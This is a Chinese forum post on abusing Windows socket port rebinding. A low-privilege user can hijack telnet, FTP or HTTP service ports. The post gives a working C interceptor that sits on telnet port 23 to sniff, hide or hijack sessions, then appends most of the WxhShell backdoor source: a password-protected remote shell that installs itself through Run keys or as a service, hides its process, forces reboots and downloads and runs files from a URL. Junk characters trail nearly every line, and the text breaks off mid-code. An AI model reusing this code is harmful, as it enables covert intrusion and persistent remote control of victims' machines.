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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: '`k  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); G8]{pbX  
!^Ay !  
  saddr.sin_family = AF_INET; oeKl\cgFx  
sRLjKi2D  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Q~"Lyy8  
/Q W^v;^  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); DNj<:Pdd)  
Ho}*Bn~ic  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /T qbl^[  
7h(  
  这意味着什么?意味着可以进行如下的攻击: )+v5 H  
%@(+`CCA  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 O.#R r/+)  
KUPQ6v }  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) |H=5Am  
n[y=DdiKGS  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?lqqu#;8  
Q,9KLi3  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  T-n>+G{  
~YNzSkz  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Tq* <J~-  
JoB-&r}\V*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 | #a{1Z)  
3v$n}.  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !M}-N  
?!F<xi:  
  #include +?t& 7={~  
  #include Z 9cb  
  #include *fd:(dN|  
  #include    ?r]0%W^  
  DWORD WINAPI ClientThread(LPVOID lpParam);   _@?I)4n|  
  int main() qDg`4yX.}  
  { T+0z.E!~I  
  WORD wVersionRequested; I_Z?'M  
  DWORD ret; i`6utOq  
  WSADATA wsaData;  S\ZCZ0  
  BOOL val; RKMF?:  
  SOCKADDR_IN saddr; ve a$G~[%6  
  SOCKADDR_IN scaddr; ,]qc#KDq-1  
  int err; ?l[#d7IB  
  SOCKET s; [$$R>ELYQ  
  SOCKET sc; f7 ew<c\  
  int caddsize; 'M?pg$ta_V  
  HANDLE mt; U4a8z<l$  
  DWORD tid;   FME,W&_d  
  wVersionRequested = MAKEWORD( 2, 2 ); MC-Z6l2  
  err = WSAStartup( wVersionRequested, &wsaData ); {>64-bU  
  if ( err != 0 ) { -q)|I|y*7  
  printf("error!WSAStartup failed!\n"); U3aM^  
  return -1; j^Qk\(^#IV  
  } 1 h162  
  saddr.sin_family = AF_INET; <Qbqxw  
   u6E ze4u  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 R))4J  
D}{]5R  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); bA6^R If?  
  saddr.sin_port = htons(23); dqU)(T=C  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a{;+_J3S  
  { !}`[s2ji  
  printf("error!socket failed!\n"); V LeYO5'L  
  return -1; ]9<H[5>$R  
  } !#5y%Bf  
  val = TRUE; )g&nI <Mh  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 u,@ac[!vP  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^eV  K.  
  { }f{5-iwD}  
  printf("error!setsockopt failed!\n"); s)'+,lKw  
  return -1; B'B0e`  
  } ~y 2joStx  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; vPZ0?r_5W  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 0aGauG[  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 HWL? doM  
z {NK(oW  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ca,JQrm  
  { cy8r}wD  
  ret=GetLastError(); GAR6nJCz  
  printf("error!bind failed!\n"); 2nFr?Y3g,  
  return -1; CJ3/8*;w  
  } 8;UkZN"hy5  
  listen(s,2); X)TZ  S  
  while(1) _s=<Y^l%x  
  { /K,@{__JP  
  caddsize = sizeof(scaddr); q`|E9  
  //接受连接请求 su60j^e*  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); RLw/~  
  if(sc!=INVALID_SOCKET) 1?TgI0HS  
  { ,F'y:px  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Vn^8nS  
  if(mt==NULL) 5}]gL  
  { |c$*Fa"A  
  printf("Thread Creat Failed!\n"); DM,;W`|6%  
  break; Q\^BOdX^`  
  } tnX W7ej^  
  } wqE2n  
  CloseHandle(mt); 2fm6G).m  
  } ZTGsZ}{5   
  closesocket(s); @71y:)W<  
  WSACleanup(); > JTf0/  
  return 0; % 5!Y#$:{o  
  }   -S@ ys  
  DWORD WINAPI ClientThread(LPVOID lpParam) v49 i.c9  
  { ]VN1Y)  
  SOCKET ss = (SOCKET)lpParam; Ox aS<vQ3  
  SOCKET sc; wxG*mOw  
  unsigned char buf[4096]; hg^k lQD  
  SOCKADDR_IN saddr; NUi&x+  
  long num; nrTCq~LO(  
  DWORD val; 2Y}A9Veb  
  DWORD ret; mL@7,GD  
  //如果是隐藏端口应用的话,可以在此处加一些判断 LKud'  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !?B2OE  
  saddr.sin_family = AF_INET; ~W gO{@Mw  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); r_V^sX  
  saddr.sin_port = htons(23); 4 $)}d  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1 x0)mt3  
  { &3~R-$P  
  printf("error!socket failed!\n"); (WGEX(|  
  return -1; H[/^&1P  
  } 2ZxZ2?.uJ  
  val = 100; ~c=*Y=)LG  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) taSYR$VJ  
  { yAJrdY"  
  ret = GetLastError(); %)r1?H} #%  
  return -1; K!G/iz9SB  
  } xAf?E%_pi  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Nu; 9  
  { Z3 na.>Z  
  ret = GetLastError(); 0te[i*G  
  return -1; $O9#4A;  
  } M[Jy?b)  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) i:^ 8zW  
  { *pGbcBQ  
  printf("error!socket connect failed!\n"); y(r(q  
  closesocket(sc); ~HX'8\5  
  closesocket(ss); Ed"p|5~  
  return -1; ;uU 8$  
  } 4=;`\-7!  
  while(1) CakB`q(8  
  { <*4r6UFR  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 gn${@y?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 @%As>X<3t  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,xC@@>f  
  num = recv(ss,buf,4096,0); `9VRT`e  
  if(num>0) wIQt f|ZI>  
  send(sc,buf,num,0); )9rJ]D^B  
  else if(num==0) DM !B@  
  break;  [ "Jt2  
  num = recv(sc,buf,4096,0); A@G%*\UZ  
  if(num>0) ^<e(3S:  
  send(ss,buf,num,0); VSm{]Z!x  
  else if(num==0) GplEad $  
  break; dMH}%f5;1  
  } w 5Yt mnP  
  closesocket(ss); `HM?Fc58  
  closesocket(sc); Z uO 7 N  
  return 0 ; $,7Yo nc  
  }  !*-|s}e  
J po(O>\P  
NFb<fD[C  
========================================================== WNV}@  
0a's[>-'A  
下边附上一个代码,,WXhSHELL Dn.%+im-u  
ca$K)=cDW  
========================================================== A!`Q[%$  
hQbz}x  
#include "stdafx.h" RMxFo\TK;  
K!SFS   
#include <stdio.h> +C[%^G-:  
#include <string.h> O>2i)M-h9x  
#include <windows.h> <SNu`,/I  
#include <winsock2.h> <#:ey^q<  
#include <winsvc.h> ;ywUl`d  
#include <urlmon.h> `CEHl &w  
,tHV H7[  
#pragma comment (lib, "Ws2_32.lib") 6t`cY  
#pragma comment (lib, "urlmon.lib") 5+iXOs<   
UJQGwTA W  
#define MAX_USER   100 // 最大客户端连接数 ;XGO@*V5T  
#define BUF_SOCK   200 // sock buffer lyyR yFfQ  
#define KEY_BUFF   255 // 输入 buffer ^9?IS<N0]  
p#AQXIF0  
#define REBOOT     0   // 重启 kR;Hb3hb  
#define SHUTDOWN   1   // 关机 I(:d8SF  
um1xSf1Xv  
#define DEF_PORT   5000 // 监听端口 A#Jx6T`a  
f5&K=4khn  
#define REG_LEN     16   // 注册表键长度 ,9~2#[|lq  
#define SVC_LEN     80   // NT服务名长度 _B^Q;54c  
Ouc$M2m0!  
// 从dll定义API &BJ"T  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8A2_4q@34  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^1,VvLA+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); HO9w"){d$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); c`_[q{(^m  
\zyvu7YA  
// wxhshell配置信息 IkJ-*vI6  
struct WSCFG { 2umgF  
  int ws_port;         // 监听端口 96S#Q*6+R  
  char ws_passstr[REG_LEN]; // 口令 :5BVVa0oR  
  int ws_autoins;       // 安装标记, 1=yes 0=no QNgfvy  
  char ws_regname[REG_LEN]; // 注册表键名 4Yya+[RY  
  char ws_svcname[REG_LEN]; // 服务名 }:hN}*H  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /}$D&KwYg  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 v,A8Mk2s#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 PFPZ]XI%F  
int ws_downexe;       // 下载执行标记, 1=yes 0=no J`d;I#R%c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Hn!13+fS  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <GO 5}>}p8  
FWDAG$K@0  
}; K)F6TvWv  
RD0=\!w*5  
// default Wxhshell configuration 4b :q84  
struct WSCFG wscfg={DEF_PORT, <e@+w6Kp'7  
    "xuhuanlingzhe", QL`Hb p  
    1, q jmlwVw  
    "Wxhshell", xv>]e <":  
    "Wxhshell", XMw*4j2E  
            "WxhShell Service", >K-S&Y  
    "Wrsky Windows CmdShell Service", qv.s-@l8  
    "Please Input Your Password: ", j )b[7%  
  1, gano>W0  
  "http://www.wrsky.com/wxhshell.exe", d\v1R-V  
  "Wxhshell.exe" :"I!$_E'  
    }; yJ?S7+b  
TnQ"c)ta  
// 消息定义模块 |kh7F0';"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0 pPSg9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :2(U3~3:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8zzY;3^h;  
char *msg_ws_ext="\n\rExit."; `(o:;<&3  
char *msg_ws_end="\n\rQuit."; }GL@?kAGR5  
char *msg_ws_boot="\n\rReboot..."; zX}t1:nc  
char *msg_ws_poff="\n\rShutdown..."; h3t);}Y}D9  
char *msg_ws_down="\n\rSave to "; 5v,_ Hgh  
}*s`R;B|,  
char *msg_ws_err="\n\rErr!";  w0`8el;  
char *msg_ws_ok="\n\rOK!"; #l#8-m8g)  
?]PE!7H  
char ExeFile[MAX_PATH]; %+HZ4M+hV  
int nUser = 0; I> BGp4AQ  
HANDLE handles[MAX_USER]; .6[7D  
int OsIsNt; }YCpd)@  
0<#>LWaM_  
SERVICE_STATUS       serviceStatus; GY wU3`{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; jcL%_of  
+Fa!<txn  
// 函数声明 ^c|_%/  
int Install(void); X_aC$_b  
int Uninstall(void); Yh2[ nF_  
int DownloadFile(char *sURL, SOCKET wsh); G[$g-NU+  
int Boot(int flag); !N'HL-oT  
void HideProc(void); |Q?^Ba  
int GetOsVer(void); XDohfa _  
int Wxhshell(SOCKET wsl); }ej>uZVe<  
void TalkWithClient(void *cs); ce:p*  
int CmdShell(SOCKET sock); ;{89*e*)  
int StartFromService(void); F_F02:t  
int StartWxhshell(LPSTR lpCmdLine); jIi:tO9G^,  
V;29ieE!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3>QkO.b  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #%7)a;'  
?!HU$>  
// 数据结构和表定义 O_\%8*;  
SERVICE_TABLE_ENTRY DispatchTable[] = !QS j*)V#  
{ ^xm%~   
{wscfg.ws_svcname, NTServiceMain}, Mqv[7.|  
{NULL, NULL} cp$GP*{@  
}; "Tz'j}< 9C  
Fj4>)!^kM  
// 自我安装 *WaqNMD[%  
int Install(void) WT63ve  
{ a(uZ}yS$  
  char svExeFile[MAX_PATH]; 5yk#(i 7C  
  HKEY key; zd|n!3;  
  strcpy(svExeFile,ExeFile); LR#BP}\b'  
%%FzBbWAO  
// 如果是win9x系统,修改注册表设为自启动  D9h  
if(!OsIsNt) { yQ0:M/r;0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  G& m~W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); we8aqEomr  
  RegCloseKey(key); ?k dan  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <.".,Na(J0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i93 6+[  
  RegCloseKey(key); &&g02>gE  
  return 0; f~ wgMp.W0  
    } f0&%  
  } \zKO5,qw  
} &P7Z_&34Z  
else { !|\l*  
4-m6e$p;  
// 如果是NT以上系统,安装为系统服务 %+^Qs\j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zf;sdQ;4  
if (schSCManager!=0) '^)}"sZ@G  
{ U0Uy C  
  SC_HANDLE schService = CreateService EKus0"|  
  ( YS:p(jtd  
  schSCManager, Q[{RN ab  
  wscfg.ws_svcname, |'-%d^ Z  
  wscfg.ws_svcdisp, $*;`$5.x^  
  SERVICE_ALL_ACCESS, Ej8g/{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -Xx4:S  
  SERVICE_AUTO_START, :gO5#HIm  
  SERVICE_ERROR_NORMAL, Wdi`Z E  
  svExeFile, E!_3?:[S_  
  NULL, 9dm oB_G  
  NULL, LcZ|A;it  
  NULL, [5!dO\-[  
  NULL, (9R;-3vY:S  
  NULL Gk]ZP31u  
  ); YjH~8==  
  if (schService!=0) >, [@SF%  
  { q=}1ud}1  
  CloseServiceHandle(schService); DD2K>1A1  
  CloseServiceHandle(schSCManager);  TJ1h[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Wy%FF\D.Y  
  strcat(svExeFile,wscfg.ws_svcname); 6$[7hlE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U*b7 Pxq;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zz /4 ()u  
  RegCloseKey(key); 3)yL#hXg)  
  return 0; xHMFYt+0$G  
    } | kP utB  
  } SL-;h#-y 4  
  CloseServiceHandle(schSCManager); PD&gC88  
} hHHQmK<r  
} axpZ`BUc  
9:P]{}  
return 1; wZs 2 aa  
} <{GVA0nr  
uFha N\S  
// 自我卸载 A; wT`c  
int Uninstall(void) UWidT+'Sa  
{ sQe GT)/|  
  HKEY key; Pt f(p`  
J\P6  
if(!OsIsNt) { *MB >,HU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'qvj[lpGr  
  RegDeleteValue(key,wscfg.ws_regname); K|YB)y  
  RegCloseKey(key); _OC@J*4.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BlQ X$s]  
  RegDeleteValue(key,wscfg.ws_regname); ^Kg n:l  
  RegCloseKey(key); fjOq@thD  
  return 0; Qz3Z_V4k9  
  } aL%E#  
} |R1T;J<[  
} SiUu**zC  
else { yOt#6Vw  
Fn7OmxfD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Qn,6s%n  
if (schSCManager!=0) _&/ {A|n  
{ IzJq:G.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); B0%=! &  
  if (schService!=0) [orL.D]  
  { [iEz?1.,  
  if(DeleteService(schService)!=0) { S>r",S  
  CloseServiceHandle(schService); >=|p30\b  
  CloseServiceHandle(schSCManager); _bi)d201  
  return 0; SI=u-'%  
  } NB4O,w  
  CloseServiceHandle(schService); PO?_i>mA  
  } r5Tdp)S  
  CloseServiceHandle(schSCManager); A4cOnG,  
} HA*L*:0  
} ,T`,OZm  
y?3.W  
return 1; ,|B-Nq  
} H#DvCw  
8'HS$J;C  
// 从指定url下载文件 {eV8h}KIl  
int DownloadFile(char *sURL, SOCKET wsh) `/ayg:WSU  
{ P/girce0  
  HRESULT hr; 0'fswa)  
char seps[]= "/"; XS">`9o!  
char *token; kJp~'\b  
char *file; tw>2<zmSi%  
char myURL[MAX_PATH]; zD79M  
char myFILE[MAX_PATH]; Cf3!Ud  
qS2Nk.e]o  
strcpy(myURL,sURL); Z sTtSM\Ac  
  token=strtok(myURL,seps); dw3Hk$"h  
  while(token!=NULL) z8'1R6nq  
  { BUJ\[/  
    file=token; b.@a,:"  
  token=strtok(NULL,seps); 6eB;  
  } iBd6&?E?<  
%^pi  
GetCurrentDirectory(MAX_PATH,myFILE); XS[L-NHG  
strcat(myFILE, "\\"); Ch_rV+  
strcat(myFILE, file); 8s@N NjV  
  send(wsh,myFILE,strlen(myFILE),0); b1.*cIv}  
send(wsh,"...",3,0); sfj+-se(K.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); DzQBWY] )  
  if(hr==S_OK) /N"3kK,N  
return 0; UnF8#~  
else "(^XZAU#W  
return 1; hd(FOKOP  
`x#Ud)g  
} DS<1"4 b|  
K"H\gmV_ g  
// 系统电源模块 ) ;\c{QF  
int Boot(int flag) AQlB_ @ b  
{ &(rWl`eTY`  
  HANDLE hToken; i(^U<DW$  
  TOKEN_PRIVILEGES tkp; {P]C>  
 b.&W W  
  if(OsIsNt) { rtRbr_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); S3E,0%yo+)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xi=ApwNj  
    tkp.PrivilegeCount = 1; pn gto  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _*fNa!@hY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~,b^f{7`!  
if(flag==REBOOT) { t?W}=%M[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {`QHg O  
  return 0; '6#G$  
} P5h|* ?=  
else { d9#Vq=H /  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xzm]v9k&  
  return 0; z%%O-1   
} W]9*dabem  
  } jO-?t9^  
  else { @h%V:c  
if(flag==REBOOT) { 4VWk/HK-!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) LH8jT  
  return 0; RZm%4_p4s  
} [@vz0!@s5  
else { CJBf5I3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -{cHp  
  return 0; 6Dlm. ~G  
} xzOa9w/  
} qd*}d)!  
&riGzU]  
return 1; IOcQI:4.`  
} 8Xot ly  
QF#w $%7  
// win9x进程隐藏模块 9=%zdz2_S  
void HideProc(void) BBB@M  
{ vk& gR  
{LO Pm1K8Y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r9i? H  
  if ( hKernel != NULL ) %l F*g  
  { E-bswUVaEE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); QJGGce  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "is(  
    FreeLibrary(hKernel); )/H;5 cn  
  } >='/%Ad  
$YL9 vJV  
return; Gk,Bx1y  
} E.oJ[;  
GXtMX ha,  
// 获取操作系统版本 jFj11w1FrA  
int GetOsVer(void) OSgJj MQ  
{ )'_[R@ThB  
  OSVERSIONINFO winfo; b(H{i}{]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /4:bx#;A  
  GetVersionEx(&winfo); q$Gs;gz^(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B0fOAP1  
  return 1; MtLWpi u@[  
  else XO <wK  
  return 0; Z*%;;&?  
} m1"m KM  
8i#  
// 客户端句柄模块 Rh!UbEPjC  
int Wxhshell(SOCKET wsl) Ms{";qiG  
{ (vs<Fo|]  
  SOCKET wsh; *'< AwG&  
  struct sockaddr_in client; M!UTqf7XL  
  DWORD myID; 2Je $SE8  
.DCHc,DxA  
  while(nUser<MAX_USER)  0#,a#P  
{ 8Bf >  
  int nSize=sizeof(client); 3Vb4zZsl  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f%Q{}fC{*  
  if(wsh==INVALID_SOCKET) return 1; aF{_"X2  
X'Ss#s>g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  < $~lFV  
if(handles[nUser]==0) [{znwK@  
  closesocket(wsh); iNO>'7s7  
else w?Te%/s.  
  nUser++; V]=22Cxi'~  
  } LW %AZkAx  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :QE5 7 .  
{%V(Dd[B6  
  return 0; { i5?R,a)  
} Yh":>~k?SY  
{ZJO5*  
// 关闭 socket m|a9T#B(  
void CloseIt(SOCKET wsh) :RaQ =C  
{ >rSjP1-F  
closesocket(wsh); (o^tmH*  
nUser--; "HMEoZ  
ExitThread(0); {keZ_2  
} 1|bXIY.J*  
+#}GmUwPG$  
// 客户端请求句柄 eA/n.V$z  
void TalkWithClient(void *cs) $@g]?*L:  
{ ~6[?=mOi'  
p@ <Q?  
  SOCKET wsh=(SOCKET)cs; &OMlW _FHR  
  char pwd[SVC_LEN]; Njq}M/{U  
  char cmd[KEY_BUFF]; o-,."|6  
char chr[1]; YB#fAU  
int i,j; =$>=EBH,cm  
`+7F H  
  while (nUser < MAX_USER) { kB7vc>@1  
!NXjax\r  
if(wscfg.ws_passstr) { k s40 5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wj)LOA0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vB:\ZX4  
  //ZeroMemory(pwd,KEY_BUFF); IpP%WW u  
      i=0; wwUI ;g  
  while(i<SVC_LEN) {  *}?[tR5  
j6 wFks  
  // 设置超时 X\}l" ]  
  fd_set FdRead; R+ * ; [  
  struct timeval TimeOut; pwFp<O"  
  FD_ZERO(&FdRead); ewDYu=`*  
  FD_SET(wsh,&FdRead); -^_m(@A<~  
  TimeOut.tv_sec=8; "F F$Q#)  
  TimeOut.tv_usec=0; _jWs(OmJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `MtzA^Xr  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8fC4j`!  
OgQd yU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]?9*Vr:P^  
  pwd=chr[0]; nL@'??I1  
  if(chr[0]==0xd || chr[0]==0xa) { mypV[  
  pwd=0; BI'>\hX/V  
  break; cc@W 6W  
  } > I2rj2M#  
  i++; S|85g1}t  
    } *t@A-Sn  
T(J'p4  
  // 如果是非法用户,关闭 socket LGP"S5V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r $7.  
} CSM"Kz`  
AIF ?>wgq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); { 3G  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v 6~9)\!j  
222 Y?3>@D  
while(1) { : 4ryi&Y  
wk(25(1q  
  ZeroMemory(cmd,KEY_BUFF); 8-Abg:)  
 |/Nh#  
      // 自动支持客户端 telnet标准   18&"j 8'm  
  j=0; eYOY   
  while(j<KEY_BUFF) { P/%7kD@5;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6h 0qtXn-  
  cmd[j]=chr[0]; _`$Q6!Z)l  
  if(chr[0]==0xa || chr[0]==0xd) { ?&B8:<qy;L  
  cmd[j]=0; 6'qkD<  
  break; iaGA9l<b  
  } j=WxtMS  
  j++; coP->&(@U#  
    } +m=b "g  
qeZG/\,  
  // 下载文件 l:HQ@FX  
  if(strstr(cmd,"http://")) { .OPknC  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,Qj G|P  
  if(DownloadFile(cmd,wsh)) 727#7Bo  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); S%SYvA  
  else &@~K8*tmK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -amo8V;2H  
  } ^y<^hKjV  
  else { 2)}n"ibbT  
m+QS -woHn  
    switch(cmd[0]) { #s)f3HU>  
  o9kJ90{D=  
  // 帮助 ,K5K?C$k  
  case '?': {  H.5 6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m=l>8  
    break; uGU 2  
  } wNB?3v{n  
  // 安装 ^<;W+dWdU  
  case 'i': { AHf 9H?  
    if(Install()) tUu ' gs|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5 jrR]X  
    else HqGI.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ysaRH3M  
    break; r~b.tpH  
    } QiCia#_  
  // 卸载 6pt,]FlU  
  case 'r': { qe]D4K8`Q3  
    if(Uninstall()) I?T !  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {^]qaQ[5N  
    else 92TuuN#{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FFT)m^4p.  
    break; x39tnf/F  
    } N,`@Q7  
  // 显示 wxhshell 所在路径 h ldZA  
  case 'p': { c`E>7Hjr-  
    char svExeFile[MAX_PATH]; #MC#K{Xd  
    strcpy(svExeFile,"\n\r"); &;Ncc,jb  
      strcat(svExeFile,ExeFile); O,$*`RZpx  
        send(wsh,svExeFile,strlen(svExeFile),0); fB2ILRc  
    break; ak7%  
    }  \XDiw~0  
  // 重启 l\_!oa~  
  case 'b': { ?1Nz ,Lc$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kQ\GVI11?  
    if(Boot(REBOOT)) ]TvMT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j.M]F/j  
    else { V&zeC/xSq  
    closesocket(wsh); oodA&0{)d  
    ExitThread(0); 6 AO(A *  
    } :zW? O#aL-  
    break; Z$z-Hx@%  
    } {_7hX`p  
  // 关机 @&jR^`Y.  
  case 'd': { \kE0h\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ys=2!P-[#  
